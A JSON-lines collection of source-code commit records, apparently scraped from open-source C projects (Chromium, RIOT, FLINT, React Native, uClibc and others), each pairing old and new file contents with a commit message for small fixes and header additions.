&env() const;\n\t\tvstr_t getenv(const char *e);\n\n    vstr_t operator[] (const char *e)\n    {\n      return getenv (e);\n    }\n\n\tprivate:\n\t\tbs_cfg_p ();\n\n\t\tmap_t env_mp;\n\t};\n\n\ttypedef singleton< bs_cfg_p > cfg;\n\n  struct bs_config \n  {\n    bs_cfg_p::vstr_t\n    operator [] (const char *e)\n    {\n      return cfg::Instance ()[e];\n    }\n  };\n}\n\n#endif \/\/ BS_CONFIG_PARSER_H\n","subject":"Add bs_config for hide bs_cfg_p::Instance () usage","message":"Add bs_config for hide bs_cfg_p::Instance () usage\n\nAnd add operator[] to getenv\n","lang":"C","license":"mpl-2.0","repos":"uentity\/bluesky,uentity\/bluesky,uentity\/bluesky,uentity\/bluesky,uentity\/bluesky"}
{"commit":"a83b208ff6ddb81657e9da1f93d4117de9ba3d1b","old_file":"chrome\/gpu\/gpu_config.h","new_file":"chrome\/gpu\/gpu_config.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && !defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_GPU_GPU_CONFIG_H_\n#define CHROME_GPU_GPU_CONFIG_H_\n\n\/\/ This file declares common preprocessor configuration for the GPU process.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_LINUX) && defined(ARCH_CPU_X86)\n\n\/\/ Only define GLX support for Intel CPUs for now until we can get the\n\/\/ proper dependencies and build setup for ARM.\n#define GPU_USE_GLX\n\n#endif\n\n#endif  \/\/ CHROME_GPU_GPU_CONFIG_H_\n","subject":"Fix stupid error for Linux build.","message":"Fix stupid error for Linux build.\n\nTEST=none\nBUG=none\nReview URL: http:\/\/codereview.chromium.org\/555096\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@37093 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 3c2fc5241d63758ffd4e4c072df9742c8dda3595","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"17d2ffa473430f9a09f717073f246f2b59e6e289","old_file":"ir\/be\/test\/fehler100.c","new_file":"ir\/be\/test\/fehler100.c","old_contents":"int incs[14];\n\nint bla(int b);\n\nvoid simpleSort ( int lo, int hi, int d )\n{\n   int i, j, h, bigN, hp;\n   int v;\n\n   for (; hp >= 0; hp--) {\n      h = incs[hp];\n      if (hp >= 5)\n         bla(lo);\n\n      i = lo + h;\n      while (1) {\n         if (i > hi) break;\n         j = i;\n         while (bla(d)) {\n            j = j - h;\n         }\n       }\n   }\n}\n","new_contents":"\/* test for the spiller *\/\nint incs[14];\n\nint bla(int b);\n\nvoid simpleSort ( int lo, int hi, int d )\n{\n   int i, j, h, bigN, hp;\n   int v;\n\n   for (; hp >= 0; hp--) {\n      h = incs[hp];\n      if (hp >= 5)\n         bla(lo);\n\n      i = lo + h;\n      while (1) {\n         if (i > hi) break;\n         j = i;\n         while (bla(d)) {\n            j = j - h;\n         }\n       }\n   }\n}\n\nint main(void) {\n    return 0;\n}\n","subject":"Add a main to let it compile.","message":"Add a main to let it compile.\n\n[r16318]\n","lang":"C","license":"lgpl-2.1","repos":"MatzeB\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,MatzeB\/libfirm,8l\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,8l\/libfirm,8l\/libfirm,8l\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,8l\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,8l\/libfirm"}
{"commit":"6142283e4f51049c3ab867e5cdeaea9d6052eb6f","old_file":"cpu\/stm32l1\/periph\/cpuid.c","new_file":"cpu\/stm32l1\/periph\/cpuid.c","old_contents":"\/*\n * Copyright (C) 2014 FU Berlin\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @addtogroup  driver_periph\n * @{\n *\n * @file\n * @brief       Low-level CPUID driver implementation\n *\n * @author      Thomas Eichinger <thomas.eichinger@fu-berlin.de>\n *\/\n\n#include <string.h>\n\n#include \"periph\/cpuid.h\"\n\nextern volatile uint32_t _cpuid_address;\n\nvoid cpuid_get(void *id)\n{\n    memcpy(id, (void *)(_cpuid_address), CPUID_ID_LEN);\n}\n\n\/** @} *\/\n","new_contents":"\/*\n * Copyright (C) 2014 FU Berlin\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @addtogroup  driver_periph\n * @{\n *\n * @file\n * @brief       Low-level CPUID driver implementation\n *\n * @author      Thomas Eichinger <thomas.eichinger@fu-berlin.de>\n *\/\n\n#include <string.h>\n\n#include \"periph\/cpuid.h\"\n\nextern volatile uint32_t _cpuid_address;\n\nvoid cpuid_get(void *id)\n{\n    memcpy(id, (void *)(&_cpuid_address), CPUID_ID_LEN);\n}\n\n\/** @} *\/\n","subject":"Use the address of the variable instead of the value itself for the CPUID","message":"Use the address of the variable instead of the value itself for the CPUID\n","lang":"C","license":"lgpl-2.1","repos":"DipSwitch\/RIOT,DipSwitch\/RIOT,DipSwitch\/RIOT,DipSwitch\/RIOT,DipSwitch\/RIOT,DipSwitch\/RIOT"}
{"commit":"07313f73ce0b58a25a24ca632570f3cf80778e48","old_file":"components\/lua\/src\/proxy.c","new_file":"components\/lua\/src\/proxy.c","old_contents":"\/*\n* proxy.c\n* lexer proxy for Lua parser -- implements __FILE__ and __LINE__\n* Luiz Henrique de Figueiredo\n* This code is hereby placed in the public domain.\n* Add <<#include \"proxy.c\">> just before the definition of luaX_next in llex.c\n*\/\n\n#include <string.h>\n\nstatic int nexttoken(LexState *ls, SemInfo *seminfo)\n{\n  int t=llex(ls,seminfo);\n  if (t==TK_NAME) {\n    if (strcmp(getstr(seminfo->ts),\"__FILE__\")==0) {\n      t=TK_STRING;\n      seminfo->ts = ls->source;\n    }\n    else if (strcmp(getstr(seminfo->ts),\"__LINE__\")==0) {\n      t=TK_NUMBER;\n      seminfo->r = ls->linenumber;\n    }\n  }\n  return t;\n}\n\n#define llex nexttoken\n","new_contents":"\/*\n* proxy.c\n* lexer proxy for Lua parser -- implements __FILE__ and __LINE__\n* Luiz Henrique de Figueiredo\n* This code is hereby placed in the public domain.\n* Add <<#include \"proxy.c\">> just before the definition of luaX_next in llex.c\n*\/\n\n\/*\n * Luiz's code changed, per his suggestion, to include some polishing\n * the name for __FILE__, taken from luaU_undump.\n * -- Jeffrey Kegler\n *\/\n\n#include <string.h>\n\nstatic int nexttoken(LexState *ls, SemInfo *seminfo)\n{\n  int t = llex (ls, seminfo);\n  if (t == TK_NAME)\n    {\n      if (strcmp (getstr (seminfo->ts), \"__FILE__\") == 0)\n\t{\n\t  const char *name = ls->source;\n\t  t = TK_STRING;\n\t  if (*name == '@' || *name == '=')\n\t    name = name + 1;\n\t  else if (*name == LUA_SIGNATURE[0])\n\t    name = \"binary string\";\n\t  seminfo->ts = name;\n\t}\n      else if (strcmp (getstr (seminfo->ts), \"__LINE__\") == 0)\n\t{\n\t  t = TK_NUMBER;\n\t  seminfo->r = ls->linenumber;\n\t}\n    }\n  return t;\n}\n\n#define llex nexttoken\n","subject":"Add __FILE__, __LINE__ to Lua","message":"Add __FILE__, __LINE__ to Lua\n","lang":"C","license":"mit","repos":"pczarn\/kollos,pczarn\/kollos,jeffreykegler\/kollos,jeffreykegler\/kollos,pczarn\/kollos,pczarn\/kollos,jeffreykegler\/kollos,jeffreykegler\/kollos,jeffreykegler\/kollos,pczarn\/kollos"}
{"commit":"28f0e31c60f2fd60a72301a7fcf25385d8b895aa","old_file":"src\/core\/incomingrequest.h","new_file":"src\/core\/incomingrequest.h","old_contents":"","new_contents":"#ifndef\tAPIMOCK_INCOMING_REQUEST\n#define APIMOCK_INCOMING_REQUEST\n\n#include <string>\n\nnamespace ApiMock {\n\tclass IncomingRequest {\n\tpublic:\n\t\tvirtual ~IncomingRequest() {}\n\t\tvirtual std::string getRequestAsString() = 0;\n\t\tvirtual void sendResponse(const std::string& responseAsString) = 0;\n\t};\n}\n\n#endif","subject":"Add an incoming request object","message":"Add an incoming request object\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"a99ce834bdb9a9a42d0d779d74cb70af6a837716","old_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","new_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","old_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018-2019, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n#define MBEDTLS_AES_ALT\n#define MBEDTLS_CTR_DRBG_USE_128_BIT_KEY\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n#define MBEDTLS_CCM_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","new_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018-2019, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n\/\/#define MBEDTLS_AES_ALT\n#define MBEDTLS_CTR_DRBG_USE_128_BIT_KEY\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n#define MBEDTLS_CCM_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","subject":"Make the alternative aes optional","message":"Make the alternative aes optional\n\nHave the alternative aes undefined by default,\nin order not to break backwards compatability.\n`MBEDTLS_CTR_DRBG_USE_128_BIT_KEY` remains defined for better usability.\n","lang":"C","license":"apache-2.0","repos":"kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os"}
{"commit":"82d08a5310905d7f242501ea4f8d21e4a3ba88f0","old_file":"fq_default_poly\/test\/t-init.c","new_file":"fq_default_poly\/test\/t-init.c","old_contents":"","new_contents":"\/*\n    Copyright (C) 2021 William Hart\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <https:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"fq_default_poly.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <gmp.h>\n#include \"flint.h\"\n#include \"nmod_poly.h\"\n#include \"ulong_extras.h\"\n\nint\nmain(void)\n{\n    int i;\n    FLINT_TEST_INIT(state);\n\n\n    flint_printf(\"init\/clear....\");\n    fflush(stdout);\n\n    for (i = 0; i < 100 * flint_test_multiplier(); i++)\n    {\n        fq_default_ctx_t ctx;\n        fq_default_poly_t fq_poly;\n        fmpz_t p;\n\n        fmpz_init(p);\n        \n        fmpz_set_ui(p, 5);\n\n        fq_default_ctx_init(ctx, p, 5, \"x\");\n\n        fq_default_poly_init(fq_poly, ctx);\n\n        fq_default_poly_clear(fq_poly, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fq_default_ctx_init(ctx, p, 16, \"x\");\n\n        fq_default_poly_init(fq_poly, ctx);\n\n        fq_default_poly_clear(fq_poly, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fmpz_set_str(p, \"73786976294838206473\", 10);\n\n        fq_default_ctx_init(ctx, p, 1, \"x\");\n\n        fq_default_poly_init(fq_poly, ctx);\n\n        fq_default_poly_clear(fq_poly, ctx);\n\n        fq_default_ctx_clear(ctx);\n\n        fmpz_clear(p);\n\n    }\n    \n    FLINT_TEST_CLEANUP(state);\n\n    flint_printf(\"PASS\\n\");\n        return 0;\n}\n","subject":"Add rudimentary test for fq_default_poly.","message":"Add rudimentary test for fq_default_poly.\n","lang":"C","license":"lgpl-2.1","repos":"wbhart\/flint2,wbhart\/flint2,fredrik-johansson\/flint2,fredrik-johansson\/flint2,wbhart\/flint2,fredrik-johansson\/flint2"}
{"commit":"eb434c1c76cdad0f5f841487dc9568c5079c6fb8","old_file":"ReactCommon\/react\/test_utils\/MockSurfaceHandler.h","new_file":"ReactCommon\/react\/test_utils\/MockSurfaceHandler.h","old_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <gmock\/gmock.h>\n\n#include <react\/renderer\/scheduler\/SurfaceHandler.h>\n\nnamespace facebook {\nnamespace react {\n\nclass MockSurfaceHandler : public SurfaceHandler {\n public:\n  MockSurfaceHandler() : SurfaceHandler(\"moduleName\", 0){};\n\n  MOCK_METHOD(void, setDisplayMode, (DisplayMode), (const, noexcept));\n  MOCK_METHOD(SurfaceId, getSurfaceId, (), (const, noexcept));\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n","new_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <gmock\/gmock.h>\n\n#include <react\/renderer\/scheduler\/SurfaceHandler.h>\n\nnamespace facebook {\nnamespace react {\n\nclass MockSurfaceHandler : public SurfaceHandler {\n public:\n  MockSurfaceHandler() : SurfaceHandler(\"moduleName\", 0){};\n\n  MOCK_QUALIFIED_METHOD1(setDisplayMode, const noexcept, void(DisplayMode));\n  MOCK_QUALIFIED_METHOD0(getSurfaceId, const noexcept, SurfaceId());\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n","subject":"Revert D34351084: Migrate from googletest 1.8 to googletest 1.10","message":"Revert D34351084: Migrate from googletest 1.8 to googletest 1.10\n\nDifferential Revision:\nD34351084 (https:\/\/github.com\/facebook\/react-native\/commit\/94891ab5f883efa55146dc42e1cd9705506794f3)\n\nOriginal commit changeset: 939b3985ab63\n\nOriginal Phabricator Diff: D34351084 (https:\/\/github.com\/facebook\/react-native\/commit\/94891ab5f883efa55146dc42e1cd9705506794f3)\n\nfbshipit-source-id: 2fd17e0ccd9d1f1d643f4a372d84cb95f5add1f8\n","lang":"C","license":"mit","repos":"facebook\/react-native,janicduplessis\/react-native,janicduplessis\/react-native,facebook\/react-native,facebook\/react-native,javache\/react-native,facebook\/react-native,facebook\/react-native,javache\/react-native,facebook\/react-native,javache\/react-native,janicduplessis\/react-native,janicduplessis\/react-native,javache\/react-native,javache\/react-native,javache\/react-native,facebook\/react-native,janicduplessis\/react-native,javache\/react-native,facebook\/react-native,javache\/react-native,facebook\/react-native,janicduplessis\/react-native,janicduplessis\/react-native,javache\/react-native,janicduplessis\/react-native"}
{"commit":"2e64f96d3b0de90550a375223dbb0f98be057a9f","old_file":"keyglove\/setup_board_atmega1280.h","new_file":"keyglove\/setup_board_atmega1280.h","old_contents":"","new_contents":"\/\/ Keyglove controller source code - Special hardware setup file\n\/\/ 7\/17\/2011 by Jeff Rowberg <jeff@rowberg.net>\n\n\/* ============================================\nController code is placed under the MIT license\nCopyright (c) 2011 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\n\n#ifndef _SETUP_BOARD_ATMEGA1280_H_\n#define _SETUP_BOARD_ATMEGA1280_H_\n\nvoid setup_board() {\n}\n\n#endif \/\/ _SETUP_BOARD_ATMEGA1280_H_\n\n\n","subject":"Add board support for preliminary testing with Arduino Mega again","message":"Add board support for preliminary testing with Arduino Mega again\n","lang":"C","license":"mit","repos":"jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove"}
{"commit":"0550c0c5192e009409d9a23f644419699c9eb500","old_file":"libpthread\/nptl\/sysdeps\/unix\/sysv\/linux\/arc\/pt-__syscall_rt_sigaction.c","new_file":"libpthread\/nptl\/sysdeps\/unix\/sysv\/linux\/arc\/pt-__syscall_rt_sigaction.c","old_contents":"\/*\n * Copyright (C) 2013 Synopsys, Inc. (www.synopsys.com)\n *\n * Licensed under the LGPL v2.1 or later, see the file COPYING.LIB in this tarball.\n *\/\n\n#include <..\/..\/..\/..\/..\/..\/..\/libc\/sysdeps\/linux\/arc\/sigaction.c>\n","new_contents":"\/*\n * Copyright (C) 2013 Synopsys, Inc. (www.synopsys.com)\n *\n * Licensed under the LGPL v2.1 or later, see the file COPYING.LIB in this tarball.\n *\/\n\n\/*\n * ARC syscall ABI only has __NR_rt_sigaction, thus vanilla sigaction does\n * some SA_RESTORER tricks before calling __syscall_rt_sigaction.\n * However including that file here causes a redefinition of __libc_sigaction\n * in static links involving pthreads\n *\/\n\/\/#include <..\/..\/..\/..\/..\/..\/..\/libc\/sysdeps\/linux\/arc\/sigaction.c>\n","subject":"Fix __libc_sigaction redefinition with static links","message":"ARC\/NPTL: Fix __libc_sigaction redefinition with static links\n\nSigned-off-by: Vineet Gupta <af669d95a4c0de051445d4cafdbb2c5c4a2838be@synopsys.com>\nSigned-off-by: Bernhard Reutner-Fischer <ce1ac9e9ad16abccd7821f371ad381197b4768ac@gmail.com>\n","lang":"C","license":"lgpl-2.1","repos":"majek\/uclibc-vx32,brgl\/uclibc-ng,kraj\/uClibc,kraj\/uclibc-ng,majek\/uclibc-vx32,kraj\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,kraj\/uClibc,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,brgl\/uclibc-ng,wbx-github\/uclibc-ng,kraj\/uclibc-ng,kraj\/uClibc,kraj\/uclibc-ng,majek\/uclibc-vx32,foss-for-synopsys-dwc-arc-processors\/uClibc,majek\/uclibc-vx32,wbx-github\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,kraj\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,brgl\/uclibc-ng"}
{"commit":"4e874c8a3ec1d524e5ab0df04994fb25243e9c72","old_file":"source\/crate_demo\/graphics_manager.h","new_file":"source\/crate_demo\/graphics_manager.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GRAPHICS_MANAGER_H\n#define CRATE_DEMO_GRAPHICS_MANAGER_H\n\n#include \"common\/graphics_manager_base.h\"\n\n#include <d3d11.h>\n#include \"DirectXMath.h\"\n\nnamespace CrateDemo {\n\nclass GameStateManager;\n\nstruct Vertex {\n\tDirectX::XMFLOAT3 pos;\n\tDirectX::XMFLOAT4 color;\n};\n\nclass GraphicsManager : public Common::GraphicsManagerBase {\npublic:\n\tGraphicsManager(GameStateManager *gameStateManager);\n\nprivate:\n\tGameStateManager *m_gameStateManager;\n\n\tID3D11RenderTargetView *m_renderTargetView;\n\n\n\n\npublic:\n\tbool Initialize(int clientWidth, int clientHeight, HWND hwnd);\n\tvoid Shutdown();\n\tvoid DrawFrame();\n\tvoid OnResize(int newClientWidth, int newClientHeight);\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GRAPHICS_MANAGER_H\n#define CRATE_DEMO_GRAPHICS_MANAGER_H\n\n#include \"common\/graphics_manager_base.h\"\n\n#include <d3d11.h>\n#include \"DirectXMath.h\"\n\nnamespace CrateDemo {\n\nclass GameStateManager;\n\nstruct Vertex {\n\tDirectX::XMFLOAT3 pos;\n\tDirectX::XMFLOAT4 color;\n};\n\nstruct MatrixBufferType {\n\tDirectX::XMMATRIX world;\n\tDirectX::XMMATRIX view;\n\tDirectX::XMMATRIX projection;\n};\n\nclass GraphicsManager : public Common::GraphicsManagerBase {\npublic:\n\tGraphicsManager(GameStateManager *gameStateManager);\n\nprivate:\n\tGameStateManager *m_gameStateManager;\n\n\tID3D11RenderTargetView *m_renderTargetView;\n\n\n\n\npublic:\n\tbool Initialize(int clientWidth, int clientHeight, HWND hwnd);\n\tvoid Shutdown();\n\tvoid DrawFrame();\n\tvoid OnResize(int newClientWidth, int newClientHeight);\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","subject":"Create MatrixBufferType struct to hold current world, view, and projection matricies","message":"CRATE_DEMO: Create MatrixBufferType struct to hold current world, view, and projection matricies\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"c9c2c1696c1655ab178908e9f534d6c60da09539","old_file":"SVPullToRefresh\/SVPullToRefresh.h","new_file":"SVPullToRefresh\/SVPullToRefresh.h","old_contents":"\/\/\n\/\/  SVPullToRefresh.h\n\/\/  SVPullToRefreshDemo\n\/\/\n\/\/ Created by Sam Vermette on 23.04.12.\n\/\/ Copyright (c) 2012 samvermette.com. All rights reserved.\n\/\/\n\/\/ https:\/\/github.com\/samvermette\/SVPullToRefresh\n\/\/\n\n\/\/ this header file is provided for backwards compatibility and will be removed in the future\n\/\/ here's how you should import SVPullToRefresh now:\n\n#import \"UIScrollView+SVPullToRefresh.h\"\n#import \"UIScrollView+SVInfiniteScrolling.h\"\n","new_contents":"\/\/\n\/\/  SVPullToRefresh.h\n\/\/  SVPullToRefreshDemo\n\/\/\n\/\/ Created by Sam Vermette on 23.04.12.\n\/\/ Copyright (c) 2012 samvermette.com. All rights reserved.\n\/\/\n\/\/ https:\/\/github.com\/samvermette\/SVPullToRefresh\n\/\/\n\n\/\/ this header file is provided for backwards compatibility and will be removed in the future\n\/\/ here's how you should import SVPullToRefresh now:\n\n#import \"UIScrollView+SVPullToRefresh.h\"\n#import \"UIScrollView+SVInfiniteScrolling.h\"\n#import \"SVPullToRefreshLoadingView.h\"\n#import \"SVInfiniteScrollingLoadingView.h\"\n","subject":"Add loading view to SVPUllToRefresh header","message":"Add loading view to SVPUllToRefresh header\n","lang":"C","license":"mit","repos":"csutanyu\/SVPullToRefresh"}
{"commit":"47f6c0599c0ba656c6e038c2259c09ae84d28483","old_file":"drudge\/canonpy.h","new_file":"drudge\/canonpy.h","old_contents":"\/* vim: set filetype=cpp: *\/\n\n\/** Header file for canonpy.\n *\n * Currently it merely contains the definition of the object structure of the\n * classes defined in canonpy.  They are put here in case a C API is intended\n * to be added for canonpy.\n *\/\n\n#ifndef DRUDGE_CANONPY_H\n#define DRUDGE_CANONPY_H\n\n#include <Python.h>\n\n#include <libcanon\/perm.h>\n\nusing libcanon::Simple_perm;\n\n\/\/\n\/\/ Permutation type\n\/\/ ----------------\n\/\/\n\n\/** Object type for canonpy Perm objects.\n *\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    Simple_perm perm;\n} Perm_object;\n\/\/ clang-format on\n\n#endif\n","new_contents":"\/* vim: set filetype=cpp: *\/\n\n\/** Header file for canonpy.\n *\n * Currently it merely contains the definition of the object structure of the\n * classes defined in canonpy.  They are put here in case a C API is intended\n * to be added for canonpy.\n *\/\n\n#ifndef DRUDGE_CANONPY_H\n#define DRUDGE_CANONPY_H\n\n#include <Python.h>\n\n#include <memory>\n\n#include <libcanon\/perm.h>\n#include <libcanon\/sims.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Sims_transv;\n\n\/\/\n\/\/ Permutation type\n\/\/ ----------------\n\/\/\n\n\/** Object type for canonpy Perm objects.\n *\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    Simple_perm perm;\n} Perm_object;\n\/\/ clang-format on\n\n\/\/\n\/\/ Permutation group type\n\/\/ ----------------------\n\/\/\n\n\/\/ clang-format off\ntypedef struct {\n    PyObject_HEAD\n    std::unique_ptr<Sims_transv<Simple_perm>> transv;\n} Group_object;\n\/\/ clang-format on\n\n#endif\n","subject":"Add object type for permutation groups","message":"Add object type for permutation groups\n\nInside a permutation group, the Sims transversal system is going to be\nstored.\n","lang":"C","license":"mit","repos":"tschijnmo\/drudge,tschijnmo\/drudge,tschijnmo\/drudge"}
